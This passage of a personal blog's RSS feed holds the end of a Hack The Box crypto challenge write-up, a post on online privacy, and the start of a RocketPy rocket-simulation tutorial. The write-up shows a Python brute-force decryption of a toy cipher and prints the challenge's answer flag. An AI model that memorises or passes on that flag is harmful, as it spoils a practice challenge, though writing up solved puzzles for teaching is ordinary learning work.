<text text-anchor='middle' x='368' y='340' fill='currentColor' style='font-size:1em'>)</text>
<text text-anchor='middle' x='368' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='368' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='368' y='404' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='368' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='368' y='436' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='368' y='468' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='368' y='484' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='376' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='376' y='324' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='376' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='376' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='376' y='404' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='376' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='376' y='436' fill='currentColor' style='font-size:1em'>┐</text>
<text text-anchor='middle' x='376' y='452' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='376' y='468' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='376' y='484' fill='currentColor' style='font-size:1em'>┘</text>
<text text-anchor='middle' x='384' y='308' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='384' y='324' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='384' y='356' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='384' y='372' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='384' y='404' fill='currentColor' style='font-size:1em'>s</text>
<text text-anchor='middle' x='384' y='420' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='392' y='308' fill='currentColor' style='font-size:1em'>┐</text>
<text text-anchor='middle' x='392' y='324' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='392' y='340' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='392' y='356' fill='currentColor' style='font-size:1em'>┘</text>
<text text-anchor='middle' x='392' y='372' fill='currentColor' style='font-size:1em'>┐</text>
<text text-anchor='middle' x='392' y='388' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='392' y='404' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='392' y='420' fill='currentColor' style='font-size:1em'>┘</text>
</g>

    </svg>
  
</div>
<p>With the plan in place, let&rsquo;s jump into action. First, to read the encrypted message (in hex), we&rsquo;ll use the following code snippet:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;./msg.enc&#34;</span>, <span style="color:#e6db74">&#39;r&#39;</span>) <span style="color:#66d9ef">as</span> f: <span style="color:#75715e"># open the file</span>
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(f<span style="color:#f92672">.</span>read())  <span style="color:#75715e"># then read it</span>
</span></span><span style="display:flex;"><span>    print(decrypt(ct))            <span style="color:#75715e"># and print its decrypted message</span>
</span></span></code></pre></div><p>And now, the star of the show - the <code>decrypt()</code> function.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">decrypt</span>(ct):
</span></span><span style="display:flex;"><span>    message <span style="color:#f92672">=</span> []                                                <span style="color:#75715e"># make a storage for all decryped characters</span>
</span></span><span style="display:flex;"><span>    k_value <span style="color:#f92672">=</span> find_k_value(ct)                                  <span style="color:#75715e"># and brute force for all k values</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(k_value)):                               <span style="color:#75715e"># decrypt all characters one-by-one</span>
</span></span><span style="display:flex;"><span>        message<span style="color:#f92672">.</span>append((<span style="color:#ae81ff">256</span> <span style="color:#f92672">*</span> k_value[i] <span style="color:#f92672">+</span> ct[i] <span style="color:#f92672">-</span> <span style="color:#ae81ff">18</span>) <span style="color:#f92672">/</span> <span style="color:#ae81ff">123</span>)   <span style="color:#75715e"># by applying the reverse math equation to it</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">.</span>join([chr(int(char)) <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> message])        <span style="color:#75715e"># and then put them together to read</span>
</span></span></code></pre></div><p>And then we need to complete the puzzle with the <code>find_k_value()</code> function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">find_k_value</span>(ct):
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;&#34;&#34;Brute force to find the lowest acceptable number k&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    k_value <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> ct:
</span></span><span style="display:flex;"><span>        k <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> ((<span style="color:#ae81ff">256</span> <span style="color:#f92672">*</span> k <span style="color:#f92672">+</span> char <span style="color:#f92672">-</span> <span style="color:#ae81ff">18</span>) <span style="color:#f92672">/</span> <span style="color:#ae81ff">123</span>) <span style="color:#f92672">%</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>            k <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        k_value<span style="color:#f92672">.</span>append(k)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> k_value
</span></span></code></pre></div><p>In a nutshell, our final script looks like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">find_k_value</span>(ct):
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;&#34;&#34;Brute force to find the lowest acceptable number k&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    k_value <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> ct:
</span></span><span style="display:flex;"><span>        k <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> ((<span style="color:#ae81ff">256</span> <span style="color:#f92672">*</span> k <span style="color:#f92672">+</span> char <span style="color:#f92672">-</span> <span style="color:#ae81ff">18</span>) <span style="color:#f92672">/</span> <span style="color:#ae81ff">123</span>) <span style="color:#f92672">%</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>            k <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        k_value<span style="color:#f92672">.</span>append(k)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> k_value
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">decrypt</span>(ct):
</span></span><span style="display:flex;"><span>    message <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>    k_value <span style="color:#f92672">=</span> find_k_value(ct)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(k_value)):
</span></span><span style="display:flex;"><span>        message<span style="color:#f92672">.</span>append((<span style="color:#ae81ff">256</span> <span style="color:#f92672">*</span> k_value[i] <span style="color:#f92672">+</span> ct[i] <span style="color:#f92672">-</span> <span style="color:#ae81ff">18</span>) <span style="color:#f92672">/</span> <span style="color:#ae81ff">123</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">.</span>join([chr(int(char)) <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> message])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;./msg.enc&#34;</span>, <span style="color:#e6db74">&#39;r&#39;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>        ct <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(f<span style="color:#f92672">.</span>read())
</span></span><span style="display:flex;"><span>        print(decrypt(ct))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><p>Now, it&rsquo;s time to run our masterpiece:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>aki@kali ~/Downloads $ python3 sol.py
</span></span><span style="display:flex;"><span>Th3 nucl34r w1ll 4rr1v3 0n fr1d4y.
</span></span><span style="display:flex;"><span>HTB<span style="color:#f92672">{</span>l00k_47_y0u_r3v3rs1ng_3qu4710n5_c0ngr475<span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Voila! The flag unfolds before our very eyes, nestled in the second line. A delightful challenge indeed!</p>
]]></content:encoded>
    </item>
    <item>
      <title>The Digital Invasion: Why Privacy Matters and How to Protect Yourself</title>
      <link>https://www.akihakune.com/blog/anonymity/</link>
      <pubDate>Fri, 10 Mar 2023 13:45:31 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/anonymity/</guid>
      <description>Strategies for The Battle to Protect Your Personal Information in the Digital Age</description>
      <content:encoded><![CDATA[<p><em>Quick question</em>: Can you confidently tell who are having your digital data, and what are they doing with it?</p>
<p>Privacy, as all citizens of the $21^{st}$ century have known too well, is long dead. In this digital age, you can&rsquo;t be too paranoid about your privacy. But it doesn&rsquo;t hurt to try!</p>
<p>Bad puns aside, privacy&rsquo;s something we often take for granted, like the air we breath - we don&rsquo;t even notice until it&rsquo;s gone. But the truth is, privacy is a fundamental human right, and it matters now more than ever, in the era of social medias, tracking smartphones, big tech companies living on users&rsquo; personal information (yes, Google, you), and in the latest news, the dawn of ground-breaking, generative Artificial Intelligence.</p>
<h3 id="why-privacy-matters">Why Privacy Matters?</h3>
<blockquote>
<p><em><strong>&ldquo;Why should I care? I don&rsquo;t have anything to hide anyways.&rdquo;</strong></em>, said almost every non-technical person ever.</p></blockquote>
<p>
  <figure>
    <img src="/img/anonymity/privacy_opinions.webp#center" alt="">
    <figcaption>Everyone has their own idea about privacy</figcaption>
  </figure>

</p>
<p>Basically, privacy is like underwear: you don’t want everyone to see it, but you also don’t want to go without it.</p>
<p>First and foremost, privacy gives us control over our lives. When we have privacy, we can make decisions without fear of judgment or interference from others. We can bravely be ourselves, express our opinions, and explore our ideas. In this aspect, your mind is a bit like a burrito - it&rsquo;s great, it&rsquo;s satisfying, and it&rsquo;s nobody else&rsquo;s business what&rsquo;s inside.</p>
<p>
  <figure>
    <img src="/img/anonymity/nextexit.webp#center" alt="">
    <figcaption>Privacy is the pathway to Independence</figcaption>
  </figure>

</p>
<p>But privacy is also critical for our safety and security. When our personal information is out there in the world, we become vulnerable to identity theft, cyber attacks, and other forms of digital harm. Our privacy is also crucial for our emotional well-being, as it allows us to protect our personal relationships and avoid negative consequences like judgment and rejection. A quick Internet search can reveal many cases of privacy violation:</p>
<ul>
<li><a href="https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html">Zoom game data to third parties without users&rsquo; knowledge</a></li>
<li><a href="https://www.cnet.com/news/two-children-sue-google-for-allegedly-collecting-students-biometric-data/">Google violated children&rsquo;s privacy laws</a></li>
<li><a href="https://www.ftc.gov/news-events/press-releases/2019/07/ftc-imposes-5-billion-penalty-sweeping-new-privacy-restrictions">Facebook got fined for its role in Cambridge Analytica data harvesting</a>
And <a href="https://www.theguardian.com/commentisfree/2018/mar/23/plenty-more-like-cambridge-analytica-data-facebook">many, many more</a>.</li>
</ul>
<p>The real problem is, it has not always been this way. As humans, we do have a natural desire for privacy. We lock the bathroom doors, draw the curtains, and even use code words when discussing sensitive topics. But when it comes to our online privacy, things get a little more complicated. We start out strong, with strong passwords and a healthy dose of skepticism about the companies and platforms we interact with. But as time goes on, we get comfortable. We start clicking &ldquo;Agree&rdquo; without reading the longer-than-Amazon-river privacy policies and just hope for the best. Then we share with those faceless companies in the Silicon Valley more personal details than we would with our own therapists. We&rsquo;re like the frog in the pot of boiling water, slowly getting cooked without even realizing it. So let&rsquo;s take a moment to appreciate the irony of our digital age. We spend so much time and effort trying to protect our privacy, only to give it away in exchange for a little convenience. It&rsquo;s like we&rsquo;re trying to keep a secret, but we&rsquo;re shouting it from the rooftops.</p>
<p>If you&rsquo;re still not sold on the importance of privacy, fear not my friend, for Reddit has come to the rescue. Allow me to introduce you to the digital privacy warriors of the <a href="https://www.reddit.com/r/privacy/top/?t=all">r/privacy</a> subreddit, who have started a &ldquo;woke&rdquo; wave in the privacy world. They&rsquo;re fighting for the right to be anonymous, to keep their secrets secret, and to keep their data out of the wrong hands. And if that&rsquo;s not enough to convince you, well, then you must be living under a digital rock.</p>
<h3 id="the-threat-to-privacy-in-the-digital-age">The Threat to Privacy in the Digital Age</h3>
<p>When was the last time you left your smartphone at home? When was the last time you check your <span style="color: #1DA1F2;">Twitter</span>, <span style="color: #1877F2;">Facebook</span>, <span style="background: linear-gradient(45deg, #FDB813, #DD2476, #9C27B0, #3E50B4, #009688, #009688, #3E50B4, #9C27B0, #DD2476, #FDB813); -webkit-background-clip: text; -webkit-text-fill-color: transparent;">Instagram</span>, or <span style="color: #FF4500;">Reddit</span> news feed? The last time you send an message on <span style="background: linear-gradient(45deg, #128C7E, #25D366); -webkit-background-clip: text; -webkit-text-fill-color: transparent;">WhatsApp</span>, <span style="background: linear-gradient(45deg, #00B2FF, #006AFF, #00B2FF, #006AFF, #00B2FF, #006AFF, #00B2FF, #006AFF, #00B2FF, #006AFF); -webkit-background-clip: text; -webkit-text-fill-color: transparent;">Messenger</span>, or <span style="background: linear-gradient(45deg, #7BB32E, #41B883, #00A7C7, #4A4E4D); -webkit-background-clip: text; -webkit-text-fill-color: transparent;">WeChat</span>? Do you know where are all those data stored, and who have read them? Worse, what are your last <span style="color: #4285F4;">G</span><span style="color: #DB4437;">o</span><span style="color: #F4B400;">o</span><span style="color: #4285F4;">g</span><span style="color: #0F9D58;">l</span><span style="color: #DB4437;">e</span> searches? We conceal our most personal problems from our loved ones, but we happily share them with a search engine of an advertisement company, why is that?</p>
<p>
  <img src="/img/anonymity/google-meme.webp#center" alt="">

</p>
<p>As such, it&rsquo;s not hard to realize that privacy is under attack in the digital age. With the rise of social media, online shopping, and other digital platforms, we are constantly sharing more and more of our personal information with the world. And while this information can be used to create targeted advertising campaigns, develop new products, and improve customer service, it also poses significant risks to our privacy.</p>
<p>One of the biggest threats to privacy in the digital age is data mining - the technological equivalent of a nosy neighbor peering through your curtains to find out what you&rsquo;re up to. Companies love to use data mining to spy on our every move, from our shopping habits to the types of toilet paper we prefer (double-ply, obviously). And what do they do with all this juicy info? Well, they create ads that are so targeted, it&rsquo;s like they&rsquo;re inside our heads. But don&rsquo;t worry, it&rsquo;s all perfectly legal (or so they say), and they only share our personal info with a few hundred of their closest friends. Sounds like a party, right?</p>
<p>
  <figure>
    <img src="/img/anonymity/social-media-track.webp#center" alt="">
    <figcaption>No worry, it&rsquo;s <em>just</em> to improve your service!</figcaption>
  </figure>

</p>
<p>Another threat to privacy is surveillance - the tech version of Big Brother is watching you. Governments and sneaky individuals alike use all kinds of methods to keep tabs on our every move, from old-fashioned CCTV cameras to high-tech internet monitoring and wiretapping. Thankfully, birds are still real&hellip; right?</p>
<p>
  <figure>
    <img src="/img/anonymity/bird.webp#center" alt="">
    <figcaption>This, dear my fellow humans, is why education matters</figcaption>
  </figure>

</p>
<p>It&rsquo;s like we&rsquo;re starring in our very own Truman Show, except we didn&rsquo;t sign up for this reality TV gig. And who knows what they&rsquo;re doing with all that information they collect? Maybe they&rsquo;re just trying to figure out what toppings we like on our pizza, or maybe they&rsquo;re plotting to take over the world. Either way, it&rsquo;s enough to make you want to don a pair of Groucho glasses and a fake mustache before leaving the house.</p>
<h3 id="basic-tactics-for-your-privacy">Basic tactics for your privacy</h3>
<ol>
<li><strong>Use Strong Passwords</strong>: This may seem obvious, but it&rsquo;s important to use strong passwords that are difficult to guess. Avoid using the same password for multiple accounts, and consider using a password manager to help you keep track of all your different passwords.</li>
</ol>
<p>
  <img src="/img/anonymity/reuse.webp#center" alt="">

</p>
<p>And by <em>&ldquo;strong password&rdquo;</em>, I mean this:

  <figure>
    <img src="/img/anonymity/password_strength.webp#center" alt="">
    <figcaption>Uncommon knowledge about password strength</figcaption>
  </figure>

</p>
<ol start="2">
<li><strong>Be Careful What You Share Online</strong>: Be mindful of what you share online, and think twice before posting anything that could be used to identify you or compromise your privacy. This includes personal information like your home address, phone number, and financial information.</li>
<li><strong>Use Two-Factor Authentication</strong>: Two-factor authentication adds an extra layer of security to your accounts by requiring a code in addition to your password. This can help protect your accounts from hacking and other forms of digital attack.</li>
<li><strong>Limit Your Social Media Presence</strong>: Social media platforms can be a goldmine of personal information for companies and other entities. Consider limiting your social media presence or adjusting your privacy settings to keep your personal information private.</li>
<li><strong>Use a VPN</strong>: A virtual private network (VPN) can help protect your online privacy by encrypting your internet connection and masking your IP address. This can make it more difficult for companies and other entities to track your online activities. <a href="https://www.nytimes.com/2022/12/06/technology/russia-internet-proton-vpn.html">Proton&rsquo;s head-on fight with Russia</a> is one example for the empowerment VPN services give us. As a side note, some services I highly recommend using <a href="https://protonvpn.com">ProtonVPN</a>. Or if you want something quick, easy and &ldquo;just works&rdquo;, I recommend <a href="https://riseup.net/en/vpn">RiseupVPN</a>.</li>
</ol>
<p>And here is one not-so-easy, and may come off as a bit of an surprise tactic, for the more passionate:</p>
<ol start="6">
<li><strong>Use an iPhone</strong>: In this era, it&rsquo;s no longer the problem of which big company does not invade your privacy, because all companies do. It&rsquo;s just the matter of how far they would dare to push their little invasion to. Google has done an excellent job walking on the thin line between the <em>barely acceptable</em> tracking and outright <a href="https://www.nbcnews.com/tech/security/google-sued-u-s-tracking-users-private-internet-browsing-n1222676">illegal privacy compromise</a>. It&rsquo;s understandable, as their primary source of revenue come from advertisement, for which they must collect as much data on their users as possible. Apple, on the other hand, benefits from their sale of smart devices. Therefore, they won&rsquo;t be as annoying as Google on the privacy frontline, as their lifeline is not dependent on it. One important notice is to <em>not</em> log into iCloud or whatever. Furthermore, a healthy dose of skeptimism is always encouraged.</li>
</ol>
<h3 id="advanced-tactics-for-your-privacy">Advanced tactics for your privacy</h3>
<p>We can&rsquo;t do much with the surveillance cameras on the streeet, but that&rsquo;s not the case for the digital choices we make. With that being said, please remember that &ldquo;privacy&rdquo; is a mindset, not a final goal. As such, we need to strike for a balance between convenience and privacy, and this process must be tailored specifically for each individual.</p>
<p>That being said, if you have decided to embark on this journey and fight against the authoritarianism, <a href="https://www.privacytools.io/">Privacy Tools</a> are happily here to help you.</p>
<p>This is my setup after being tested by trial-and-error, with some sacrifices on <strong>absolute</strong> privacy for <strong>just enough</strong>. Some of them will have their own respective review soon.</p>
<table>
  <thead>
      <tr>
          <th>Tool</th>
          <th>What <em><strong>not</strong></em> to use</th>
          <th>What to use / What I use</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Web Browser</td>
          <td>Google Chrome</td>
          <td><a href="https://www.mozilla.org/firefox/">Mozilla Firefox</a></td>
      </tr>
      <tr>
          <td>Email</td>
          <td>Gmail</td>
          <td><a href="https://proton.me/mail">ProtonMail</a></td>
      </tr>
      <tr>
          <td>Password Manager</td>
          <td>LastPass</td>
          <td><a href="https://lesspass.com/">LessPass</a></td>
      </tr>
      <tr>
          <td>Cloud Storage</td>
          <td>Google Drive, DropBox, OneDrive, etc.</td>
          <td><a href="https://proton.me/drive">Proton Drive</a>, <a href="https://nextcloud.com/">NextCloud</a></td>
      </tr>
      <tr>
          <td>Instant Messaging</td>
          <td>Facebook Messenger, WeChat</td>
          <td><a href="https://signal.org/">Signal</a> (Still require phone number, so not the most privacy-respecting one out there. But it&rsquo;s the most convenient and the easiest to move your contacts to)</td>
      </tr>
      <tr>
          <td>Video Meeting</td>
          <td>Zoom, Google Meet, Microsoft Teams</td>
          <td><a href="https://jitsi.org/">Jitsi Meet</a></td>
      </tr>
      <tr>
          <td>Search Engine</td>
          <td>Google Search, Bing Search</td>
          <td><a href="https://duckduckgo.com/">DuckDuckGo</a>, <a href="https://www.startpage.com/">StartPage</a></td>
      </tr>
      <tr>
          <td>Maps</td>
          <td>Google Maps, Apple Maps</td>
          <td><a href="https://organicmaps.app/">Organic Maps</a> (but unfortunately, nothing has come even close to Google Maps standard, so I sometimes had to resort to Google Maps if all else failed. It has an &ldquo;incognito&rdquo; mode, fortunately)</td>
      </tr>
      <tr>
          <td>Note Taking</td>
          <td>Google Keeps, Google Docs</td>
          <td><a href="https://obsidian.md">Obsidian</a>, <a href="https://notesnook.com/">Notesnook</a>, <a href="https://joplinapp.org/">Joplin</a></td>
      </tr>
      <tr>
          <td>Calendar</td>
          <td>Google Calendar</td>
          <td><a href="https://proton.me/calendar">Proton Calendar</a></td>
      </tr>
      <tr>
          <td>News</td>
          <td>Google News</td>
          <td><a href="https://f-droid.org/packages/com.nononsenseapps.feeder/">Feeder</a>, <a href="https://ravenreader.app">RavenReader</a></td>
      </tr>
  </tbody>
</table>
<p>And then, there are even more technical options such as <a href="https://grapheneos.org/">GrapheneOS</a> over stock Android, or Linux over Windows. They deserve a separate post for themselves, though.</p>
<h3 id="afterwords">Afterwords</h3>
<p>Privacy is one of the most important issues of our time, and it&rsquo;s critical that we take steps to protect our personal information in the digital age. By using strong passwords, being mindful of what we share online, using two-factor authentication, limiting our social media presence, and using a VPN, we can help safeguard our privacy and keep our personal information out of the hands of others.</p>
<p>But protecting our privacy is not just about taking practical steps to protect our personal information. It&rsquo;s also about recognizing the value of privacy as a fundamental human right. When we have privacy, we have control over our lives, and we can be ourselves without fear of judgment or interference from others. So let&rsquo;s make privacy a priority in our digital lives, and work together to protect this essential right for ourselves and for future generations.</p>
]]></content:encoded>
    </item>
    <item>
      <title>How to run rocket flight simulations in Python</title>
      <link>https://www.akihakune.com/blog/rocketpy/</link>
      <pubDate>Wed, 22 Jun 2022 22:35:29 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/rocketpy/</guid>
      <description>Simulate flights in cloud environment</description>
      <content:encoded><![CDATA[<h2 id="i-overview">I. Overview</h2>
<p>The science community must be no stranger to superior computing softwares like <a href="https://www.mathworks.com/products/matlab.html">Matlab</a>. However, some projects are so heavy computationally that compute entirely by yourself is almost unfeasible. For such distinct use cases, using specialized modules will help tremendously cut down costs, time and effort needed.</p>
<p>In this post, I am going to introduce a scientific Python library that is light, versatile, customizable and has high accuracy, used in a fairly special use case: rocket flight simulation.</p>
<h2 id="ii-tutorial">II. Tutorial</h2>
<h3 id="1-installation">1. Installation</h3>
<p>Because this tutorial is intended for new users, I am going to gently hold your hand and guide you step-by-step. But if you find even Internet Explorer to be faster than this guide&rsquo;s pace, you definitely can skip through sections to whichever part you need.</p>
<p>We are going to use an open source library named <a href="https://github.com/Projeto-Jupiter/RocketPy">RocketPy</a>. For simplicity, I encourage the use of <a href="https://colab.research.google.com/#create=true">Google Colab</a> to follow along - with all the comfort of a cloud Python environment, the computing resources that are seemingly inexhaustible, and the tab closing incidents that deduct from your salary.</p>
<p>If you chose to use Google Colab, simply enter:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>!pip install rocketpy
</span></span></code></pre></div><p>Then press <code>Ctrl + Enter</code>. Fundamentally, the <em>bang</em> (<em>!</em>) prefixes any shell command on Google Colab. You have just entered a shell command, then execute it. And if there was no typo, the enjoyable install logs should now be running on your screen:

  <img src="/img/rocketpy/pip_install.webp#center" alt="">

</p>
<p>However, if you don&rsquo;t want Google to see you toddling around using a new library, or confident that your working machine excels Google&rsquo;s servers, you can still open up your terminal/command prompt and enter this command:</p>
<pre tabindex="0"><code>pip install rocketpy
</code></pre><p>If you terminal window was dyed in red by errors, you can change the command to:</p>
<pre tabindex="0"><code>pip3 install rocketpy
</code></pre><p>Or:</p>
<pre tabindex="0"><code>py -m pip install rocketpy
</code></pre><p>Furthermore, if you&rsquo;re currently in the mood of doing different, you can look up how to install from Conda or directly from source code at <a href="https://docs.rocketpy.org/en/latest/user/installation.html">RocketPy&rsquo;s official installation guide</a>.</p>
<p>RocketPy team has also thoughtfully prepared a <a href="https://colab.research.google.com/github/giovaniceotto/rocketpy/blob/master/docs/notebooks/getting_started_colab.ipynb">Colab notebook preview</a>, in case you just want to mess around instead of learning it.</p>
<h3 id="2-import">2. Import</h3>
<p>RocketPy&rsquo;s Github page has provided a relatively concise chart of how models interact with each other:

  <figure>
    <img src="/img/rocketpy/Fluxogram-Page-2.svg#center" alt="">
    <figcaption>You may want to switch to light mode for a bit</figcaption>
  </figure>

</p>
<p>Basically, users put the above parameters into RocketPy, then let the black magic does its calculations. Therefore, to begin, we need to import all the above models:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> rocketpy <span style="color:#f92672">import</span> Environment, Rocket, SolidMotor, Flight
</span></span></code></pre></div><p>In this example, I want to set simulation time to the next day, so I will also need the <code>datetime</code> module:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> datetime
</span></span></code></pre></div><h3 id="3-configuration">3. Configuration</h3>
<p>Every model need to be configured separately. For instance, to create an <strong>environment object</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>Env <span style="color:#f92672">=</span> Environment(
</span></span><span style="display:flex;"><span>    railLength<span style="color:#f92672">=</span><span style="color:#ae81ff">5.2</span>,
</span></span><span style="display:flex;"><span>    latitude<span style="color:#f92672">=</span><span style="color:#ae81ff">32.990254</span>,
</span></span><span style="display:flex;"><span>    longitude<span style="color:#f92672">=-</span><span style="color:#ae81ff">106.974998</span>,
</span></span><span style="display:flex;"><span>    elevation<span style="color:#f92672">=</span><span style="color:#ae81ff">1400</span>,
</span></span><span style="display:flex;"><span>    date<span style="color:#f92672">=</span>(<span style="color:#ae81ff">2022</span>, <span style="color:#ae81ff">6</span>, <span style="color:#ae81ff">22</span>, <span style="color:#ae81ff">12</span>) <span style="color:#75715e"># Tomorrow&#39;s date in year, month, day, hour UTC format</span>
</span></span><span style="display:flex;"><span>) 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Env<span style="color:#f92672">.</span>setAtmosphericModel(type<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;Forecast&#39;</span>, file<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;GFS&#39;</span>)
</span></span></code></pre></div><p>Slightly more advanced, if you want your environment object to always calculate according to the next day&rsquo;s parameters:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>tomorrow <span style="color:#f92672">=</span> datetime<span style="color:#f92672">.</span>datetime<span style="color:#f92672">.</span>now() <span style="color:#f92672">+</span> datetime<span style="color:#f92672">.</span>timedelta(days<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Env <span style="color:#f92672">=</span> Environment(
</span></span><span style="display:flex;"><span>    railLength <span style="color:#f92672">=</span> <span style="color:#ae81ff">5.2</span>,
</span></span><span style="display:flex;"><span>    latitude <span style="color:#f92672">=</span> <span style="color:#ae81ff">21.2187149</span>,
</span></span><span style="display:flex;"><span>    longitude <span style="color:#f92672">=</span> <span style="color:#ae81ff">105.8041709</span>,
